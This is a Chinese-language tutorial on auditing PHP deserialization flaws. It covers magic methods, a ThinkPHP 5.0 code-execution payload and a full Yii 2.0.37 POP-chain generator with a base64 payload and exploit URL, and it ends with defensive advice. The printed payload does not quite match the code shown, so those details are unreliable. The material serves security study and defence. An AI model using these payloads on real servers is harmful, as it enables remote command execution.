php反序列化代码审计学习
字数 1953 2025-08-09 13:33:32
PHP反序列化代码审计学习文档
0x01 前言
PHP反序列化漏洞是PHP代码审计中一个重要且复杂的漏洞类型。本文将从基础概念入手,详细分析ThinkPHP 5.0和Yii 2.0.37框架中的反序列化漏洞实例,帮助读者掌握PHP反序列化漏洞的审计方法。
0x02 PHP反序列化基础
一、序列化和反序列化概念
序列化:将对象或数据结构转换为可存储或传输的格式(字符串)
反序列化:将序列化后的字符串还原为原始对象或数据结构
类比:台式电脑运输时拆解零件(序列化),到达目的地后重新组装(反序列化)
二、PHP序列化相关魔术方法
__serialize()/__unserialize():PHP 7.4+新增,用于自定义序列化/反序列化行为__sleep():对象被序列化前调用__wakeup():对象被反序列化后调用__construct():对象创建时调用__destruct():对象销毁时调用__toString():对象被当作字符串使用时调用__call():调用不可访问方法时触发__callStatic():静态方式调用不可访问方法时触发__invoke():以函数方式调用对象时触发__clone():对象复制完成时调用
0x03 PHP反序列化代码审计实例
一、审计工具准备
推荐工具:
- PHPStorm(代码审计)
- Xdebug(调试)
- Seay源代码审计系统(辅助审计)
二、ThinkPHP 5.0.20远程代码执行漏洞
影响版本:5.x < 5.1.31, <= 5.0.23
漏洞分析
-
漏洞入口点:
Request.php中的method方法 -
漏洞原理:
- 当传入方法为POST时,会读取配置文件中的默认变量
_method - 对传入的方法变量内容未过滤,可通过
_method=__construct覆盖为构造函数 - 构造函数中初始化过滤参数值(可控)
- 全局过滤函数
filterValue()在debug模式下会进行$filter变量覆盖 - 默认配置为空,可传入
$filter=system覆盖为system函数 - 传入变量值如
aaa=whoami,通过call_user_func执行命令
- 当传入方法为POST时,会读取配置文件中的默认变量
-
利用条件:
- 开启debug模式
- 使用Request类处理请求
漏洞复现
Payload:
_method=__construct&filter[]=system&aaa=whoami
三、Yii 2.0.37反序列化漏洞
影响版本:Yii2 < 2.0.38
漏洞分析
-
测试控制器创建:
创建controllers/TestController.php提供反序列化入口:namespace app\controllers; use Yii; use yii\web\Controller; class TestController extends Controller { public function actionTtt() { $name = Yii::$app->request->get('data'); return unserialize(base64_decode($name)); } } -
漏洞入口点:
vendor/yiisoft/yii2/db/BatchQueryResult.php的reset方法:- 对象销毁时调用
__destruct() __destruct()调用reset()reset()中当参数不为空时调用close()方法close()方法不存在,触发__call()魔术方法
- 对象销毁时调用
-
利用链分析:
- 查找可利用的
__call()方法 - 在
vendor/fzaninotto/faker/src/Faker/Generator.php中找到可利用点 format()方法中使用call_user_func_array(),可执行任意函数getFormatter()方法返回可控的formatters[$formatter]属性
- 查找可利用的
-
POP链构造条件:
- 方法的参数必须是类中存在的
- 方法需具有命令执行功能
-
可利用点:
vendor/yiisoft/yii2/rest/CreateAction.phpvendor/yiisoft/yii2/rest/IndexAction.php
-
完整POP链:
yii\db\BatchQueryResult::__destruct() ->reset() ->close() ->Faker\Generator::__call() ->format() ->call_user_func_array() ->yii\rest\IndexAction::run ->call_user_func()
漏洞复现
Payload生成代码:
<?php
namespace yii\rest {
class CreateAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess = 'system';
$this->id = '1';
}
}
}
namespace Faker {
use yii\rest\CreateAction;
class Generator {
protected $formatters;
public function __construct() {
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db {
use Faker\Generator;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new Generator;
}
}
}
namespace {
// 进行序列化和base64编码
echo base64_encode(serialize(new yii\db\BatchQueryResult));
// 输出:TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
}
?>
访问URL:
http://ip/index.php?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19
0x04 防御建议
-
输入验证:
- 对所有反序列化操作的数据来源进行严格验证
- 使用白名单机制限制可反序列化的类
-
加密签名:
- 对序列化数据进行签名,确保数据未被篡改
-
替代方案:
- 使用JSON等更安全的序列化格式
- 避免直接反序列化用户输入
-
框架升级:
- 及时更新框架到最新版本
- 应用官方安全补丁
-
魔术方法审查:
- 特别注意
__wakeup()、__destruct()等魔术方法的安全性 - 避免在这些方法中执行危险操作
- 特别注意
0x05 总结
PHP反序列化漏洞审计需要:
- 理解PHP序列化机制和魔术方法
- 掌握POP链构造原理
- 熟悉常见框架的代码结构和漏洞模式
- 具备完整的漏洞利用链思维
通过分析ThinkPHP和Yii框架的实际案例,可以加深对PHP反序列化漏洞的理解,提高代码审计能力。